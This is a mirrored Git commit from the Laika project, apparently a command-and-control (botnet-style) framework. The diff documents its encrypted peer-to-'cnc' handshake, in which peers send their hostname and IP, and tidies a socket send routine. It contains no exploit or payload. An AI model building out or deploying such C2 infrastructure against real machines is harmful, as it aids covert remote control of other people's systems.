1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-04 15:20:07 +00:00

minor refactoring, better docs in lpacket.h

- fixed minor bug in panel_getChar()
This commit is contained in:
2022-02-17 16:55:42 -06:00
parent 9a15ce1463
commit 4e8febe916
5 changed files with 69 additions and 15 deletions

View File

@@ -9,30 +9,34 @@
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
*/
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
*/
enum {
LAIKAPKT_HANDSHAKE_REQ,
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ:
* uint8_t laikaMagic[LAIKA_MAGICLEN];
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char ipv4[LAIKA_IPV4_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t endian;
* uint8_t cncEndian;
*/
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ,
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
@@ -50,8 +54,8 @@ enum {
*/
LAIKAPKT_VARPKT_REQ,
/* layout of LAIKAPKT_VARPKT_REQ:
* uint8_t pktID;
* uint16_t pktSize;
* LAIKAPKT_ID pktID;
* LAIKAPKT_SIZE pktSize;
*/
LAIKAPKT_MAXNONE
};

View File

@@ -305,7 +305,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) {
RAWSOCKCODE errCode = RAWSOCK_OK;
int sent, sentBytes = 0;
int sent, i, sentBytes = 0;
/* write bytes to the socket until an error occurs or we finish sending */
do {
@@ -338,7 +338,6 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
_rawWriteExit:
#ifdef DEBUG
/* for debugging */
int i;
printf("---sent %d bytes---\n", sent);
for (i = 1; i <= sentBytes; i++) {
printf("%.2x ", sock->outBuf[i-1]);